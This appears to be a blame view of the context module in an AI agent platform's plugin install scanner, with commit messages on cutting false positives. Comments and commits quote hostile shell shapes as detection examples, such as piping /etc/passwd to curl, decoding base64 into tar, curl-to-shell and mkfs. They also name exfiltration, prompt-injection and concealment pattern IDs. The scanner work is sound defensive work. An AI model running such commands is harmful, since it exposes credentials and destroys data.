fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
spans = [m.span() for m in _LITERAL_SPANS.finditer(line)]
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
exec_arg_spans = _exec_first_arg_literal_spans(line, spans)
# A non-call exec marker on the line (``$(`` substitution, a shell backtick, a bare ``exec_marker``
# with no literal first arg, e.g. ``os.system(payload)`` naming a variable) still executes.
non_literal_exec = _executes(line, rel_path) and not _EXEC_CALL_OPEN.search(line)
def quoted_data(h: re.Match[str]) -> bool:
span = next(((a, b) for a, b in spans if a <= h.start() and h.end() <= b), None)
return span is not None and span not in exec_arg_spans
return not non_literal_exec and all(quoted_data(h) for h in hits)
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
def is_test_tree(rel_path: str) -> bool:
p = Path(rel_path)
return (
(len(p.parts) > 1 and p.parts[0].lower() in TEST_TREE_DIRS)
or any(part.lower() in _TEST_DIRS_ANY_DEPTH for part in p.parts[:-1])
or _TEST_FILE_NAME.match(p.name) is not None
)
# ── (3) base64 media data ────────────────────────────────────────────────────────────────────
# ``encoded_exfil`` (``base64 … env``) fires on a data URI whose payload happens to contain the
# letters "env" (PNG scenery, embedded fonts). Decode the head of the blob and sniff it: a
# known image/font/audio/document magic number means the bytes are an asset, not an encoder
# call, and the finding drops to informational (kept in the report).
_BASE64_RUN = re.compile(r"(?:base64,)?([A-Za-z0-9+/]{24,}={0,2})")
_MEDIA_MAGIC = (
b"\x89PNG", b"\xff\xd8\xff", b"GIF8", b"RIFF", b"wOFF", b"wOF2", b"OTTO", b"\x00\x01\x00\x00",
b"ttcf", b"BM", b"%PDF", b"\x00\x00\x01\x00", b"<svg", b"<?xml", b"ID3", b"OggS", b"fLaC", b"\x1a\x45\xdf\xa3",
)
def _decoded_head(blob: str) -> bytes:
head = blob[:16]
head = head[: len(head) - len(head) % 4]
try:
return base64.b64decode(head, validate=True)
except (binascii.Error, ValueError):
return b""
def is_base64_media(line: str) -> bool:
"""The line's first long base64 run decodes to a recognised media/document header."""
for m in _BASE64_RUN.finditer(line):
if _decoded_head(m.group(1)).startswith(_MEDIA_MAGIC):
return True
return False
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
# ── (3b) a base64 encode→decode round-trip of a freshly-created archive ─────────────────────────
# ``base64_decode_pipe`` flags ``base64 -d | tar`` as the embedded-payload attack (``tail "$0" |
# base64 -d | tar x`` self-extracts a blob the scanner never sees). A base64 TRANSPORT of a
# freshly-made archive — ``tar czf - … | base64 … | base64 -d | tar xzf - -C "$DEST"`` over SSH — is
# data movement: the archive is CREATED on the line (``tar c…``) and the base64 is an ENCODE feeding a
# matching DECODE (round-trip), not an opaque embedded blob. Such a line is a note. The embedded-blob
# attack (decode only, no ``tar c``/no prior ``base64`` encode) keeps full severity.
_B64_ROUNDTRIP = re.compile(
r'\bbase64\b(?![^\n|;&]*(?:-[a-z]*d[a-z]*|--decode))[^\n]*\|[^\n]*'
r'\bbase64\s+(?:-[^\s|]+\s+)*?(?:-[a-z]*d[a-z]*|--decode)\b', re.IGNORECASE)
_TAR_CREATE = re.compile(r'\btar\s+(?:-?-?create\b|-?-?c[a-z]*f?\b|c[a-z]*f?\b)', re.IGNORECASE)
def is_base64_archive_roundtrip(finding: Finding, line: str) -> bool:
"""A ``base64_decode_pipe`` line that both CREATES an archive (``tar c``) and does a base64
encode→decode round-trip — a transport, not an opaque embedded payload."""
if finding.pattern_id != "base64_decode_pipe":
return False
return bool(_B64_ROUNDTRIP.search(line)) and bool(_TAR_CREATE.search(line))
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
# ── (5)/(6) alternation tokens inside string or regex literals in code ──────────────────────
# ``sudo`` in ``/clarify|approval|sudo|secret/.test(value)`` classifies an event name; ``env|``
# in ``re.compile(r"(?:api[_-]?key|…|env|headers)")`` is a redaction regex; ``"printenv",`` in
fix(plugin-guard): false-positive round (denylist regex literals, localhost curl docs, tone rules, ANSI regex) Four false-positive classes surfaced by today's catalog intake, each demoted only where the text is inert and proven to keep its severity at a command position: - format_filesystem: the filesystem-format binary as an alternation member of a guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an un-overridable `dangerous`. Joins the existing alternation-token contract -> high (caution). The same word at a command position (subprocess.run / os.system / mid-pipeline command string) stays critical. - env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose loopback URL is on the continuation line (memex8 README.md:166). The pattern already exempts a same-line loopback; re-run it over the logical line and require every http(s) host be loopback -> low. A routable host anywhere on the logical line keeps high (README) / critical (after-install.md). - deception_hide: a skill tone rule quoting the phrase not to say (`Do not tell the user to "be careful with terminal."`, hermes-tenuo SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what` concealment instructions still fire at high. - hex_encoded_string: every `\xHH` inside a `[...]` regex character class (`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or beside a class, keeps medium. PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan. A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings medium->low on real control-char regexes); attack probes identical.
2026-09-28 00:01:59 -07:00
# ``_READ_ONLY_COMMANDS = frozenset({"pwd", "ls", …, "printenv"})`` is a denylist/allowlist entry;
# ``mkfs`` in ``re.compile(r"\b(?:rm|rmdir|shred|mkfs|dd)\b")`` is a guard plugin's OWN denylist
# (an un-overridable ``dangerous`` on the plugin whose job is to refuse that command).
# The shape that is inert is narrow: the word sits inside a quoted string or regex literal AND is
# either an alternation member (``|sudo|``, ``(sudo|``, ``|env|``) or the ENTIRE literal
# (``"printenv"``, ``'sudo'``) on a line that executes nothing. A command string such as
fix(plugin-guard): false-positive round (denylist regex literals, localhost curl docs, tone rules, ANSI regex) Four false-positive classes surfaced by today's catalog intake, each demoted only where the text is inert and proven to keep its severity at a command position: - format_filesystem: the filesystem-format binary as an alternation member of a guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an un-overridable `dangerous`. Joins the existing alternation-token contract -> high (caution). The same word at a command position (subprocess.run / os.system / mid-pipeline command string) stays critical. - env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose loopback URL is on the continuation line (memex8 README.md:166). The pattern already exempts a same-line loopback; re-run it over the logical line and require every http(s) host be loopback -> low. A routable host anywhere on the logical line keeps high (README) / critical (after-install.md). - deception_hide: a skill tone rule quoting the phrase not to say (`Do not tell the user to "be careful with terminal."`, hermes-tenuo SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what` concealment instructions still fire at high. - hex_encoded_string: every `\xHH` inside a `[...]` regex character class (`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or beside a class, keeps medium. PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan. A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings medium->low on real control-char regexes); attack probes identical.
2026-09-28 00:01:59 -07:00
# ``"sudo apt install x"``, ``"env | grep KEY"`` or ``"mkfs.ext4 /dev/sda1"`` inside a
# ``subprocess.run(...)`` literal is how an attack is written and never qualifies. Only
# word-shaped patterns are eligible.
LITERAL_INERT_PATTERN_IDS = {"sudo_usage", "dump_all_env", "format_filesystem"}
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
_LITERAL_SPANS = re.compile(
r"""(?P<s>[rRbBuUfF]{0,2}"(?:[^"\\\n]|\\.)*"|[rRbBuUfF]{0,2}'(?:[^'\\\n]|\\.)*'|`(?:[^`\\\n]|\\.)*`)"""
fix(plugin-guard): plural test-file names and delegation prose are not attack shapes Two install-scan false positives from catalog intake, each red on the real pinned tree: * memory-review (apoapostolov/hermes-agent-awesome-plugins@b270520, plugins/memory-review): tests_state.py:86 holds '/etc/passwd' in a quoted traversal-probe list and scored system_passwd_access:critical -> dangerous (unoverridable). The test-tree name rule only knew test_*.py / *_test.py; a single-module plugin without a tests/ dir names its file tests_*.py. Accept the plural prefix/suffix so the quoted fixture is a note, exactly as tests/test_x.py is. * pstack (Cloeille/pstack@ac5e5ab, #116381 pin): skills/poteto-mode/SKILL.md:128 'Send subagents the minimum context they need' hit context_exfil:high. Handing context to the agent's own subagent is an in-process handoff; the bare-'context' branch now skips a subagent/worker/delegate recipient named right after the verb. External destinations, bare 'your context', and 'send agents your context' still match. Two tightenings guard the widened test-file surface (both pre-existing gaps, now closed): - _EXEC_ON_LINE gains open(: open('/etc/passwd') in a test steps down once (high, confirmable) instead of reading as quoted data (medium, note). - the JS regex-literal lexer accepts only real flags [dgimsuvy]; with [a-z]* an unquoted Unix path lexed as /etc/ + flags 'passwd', so 'cat /etc/passwd | curl ...' in a test script was inert. PLUGIN_SCANNER_VERSION plugin-guard-v6 -> v7 so cached verdicts re-scan.
2026-09-19 19:03:04 -07:00
r"""|(?P<rx>(?<![\w)\]])/(?:[^/\\\n\[]|\\.|\[(?:[^\]\\\n]|\\.)*\])+/[dgimsuvy]*(?![A-Za-z]))""" # js regex literal
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
)
fix(plugin-guard): plural test-file names and delegation prose are not attack shapes Two install-scan false positives from catalog intake, each red on the real pinned tree: * memory-review (apoapostolov/hermes-agent-awesome-plugins@b270520, plugins/memory-review): tests_state.py:86 holds '/etc/passwd' in a quoted traversal-probe list and scored system_passwd_access:critical -> dangerous (unoverridable). The test-tree name rule only knew test_*.py / *_test.py; a single-module plugin without a tests/ dir names its file tests_*.py. Accept the plural prefix/suffix so the quoted fixture is a note, exactly as tests/test_x.py is. * pstack (Cloeille/pstack@ac5e5ab, #116381 pin): skills/poteto-mode/SKILL.md:128 'Send subagents the minimum context they need' hit context_exfil:high. Handing context to the agent's own subagent is an in-process handoff; the bare-'context' branch now skips a subagent/worker/delegate recipient named right after the verb. External destinations, bare 'your context', and 'send agents your context' still match. Two tightenings guard the widened test-file surface (both pre-existing gaps, now closed): - _EXEC_ON_LINE gains open(: open('/etc/passwd') in a test steps down once (high, confirmable) instead of reading as quoted data (medium, note). - the JS regex-literal lexer accepts only real flags [dgimsuvy]; with [a-z]* an unquoted Unix path lexed as /etc/ + flags 'passwd', so 'cat /etc/passwd | curl ...' in a test script was inert. PLUGIN_SCANNER_VERSION plugin-guard-v6 -> v7 so cached verdicts re-scan.
2026-09-19 19:03:04 -07:00
# The regex-literal branch accepts only real JS flags: with ``[a-z]*`` a bare Unix path lexed as a
# literal (``/etc/`` + flags ``passwd``) and an unquoted ``cat /etc/passwd | curl …`` in a test
# script scored as inert data.
fix(plugin-guard): false-positive round (denylist regex literals, localhost curl docs, tone rules, ANSI regex) Four false-positive classes surfaced by today's catalog intake, each demoted only where the text is inert and proven to keep its severity at a command position: - format_filesystem: the filesystem-format binary as an alternation member of a guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an un-overridable `dangerous`. Joins the existing alternation-token contract -> high (caution). The same word at a command position (subprocess.run / os.system / mid-pipeline command string) stays critical. - env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose loopback URL is on the continuation line (memex8 README.md:166). The pattern already exempts a same-line loopback; re-run it over the logical line and require every http(s) host be loopback -> low. A routable host anywhere on the logical line keeps high (README) / critical (after-install.md). - deception_hide: a skill tone rule quoting the phrase not to say (`Do not tell the user to "be careful with terminal."`, hermes-tenuo SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what` concealment instructions still fire at high. - hex_encoded_string: every `\xHH` inside a `[...]` regex character class (`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or beside a class, keeps medium. PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan. A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings medium->low on real control-char regexes); attack probes identical.
2026-09-28 00:01:59 -07:00
_PATTERN_TOKEN = {
"sudo_usage": re.compile(r"\bsudo\b"), "dump_all_env": re.compile(r"printenv|env\s*\|"),
"format_filesystem": re.compile(r"\bmkfs\b"),
}
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
def _is_alternation_member(line: str, start: int, end: int) -> bool:
before = line[start - 1] if start > 0 else ""
after = line[end] if end < len(line) else ""
return before in "|(" or after in "|)"
def _is_whole_literal(line: str, start: int, end: int, span: tuple[int, int]) -> bool:
"""The token is the entire quoted content of the literal it sits in (``"printenv"``)."""
a, b = span
return start == a + 1 and end == b - 1 and line[a] in "\"'`" and not _EXEC_ON_LINE.search(line)
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
def is_regex_alternation_token(finding: Finding, line: str) -> bool:
"""Every occurrence of the finding's token sits inside a literal as an alternation member
or as the whole literal (a list entry) on a line that executes nothing."""
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
token = _PATTERN_TOKEN.get(finding.pattern_id)
if token is None:
return False
spans = [m.span() for m in _LITERAL_SPANS.finditer(line)]
hits = list(token.finditer(line))
2026-10-08 22:52:14 +02:00
def inert(h: re.Match[str]) -> bool:
if " " in h.group(0):
return False
span = next(((a, b) for a, b in spans if a <= h.start() and h.end() <= b), None)
if span is None:
return False
return _is_alternation_member(line, h.start(), h.end()) or _is_whole_literal(line, h.start(), h.end(), span)
return bool(hits) and all(inert(h) for h in hits)
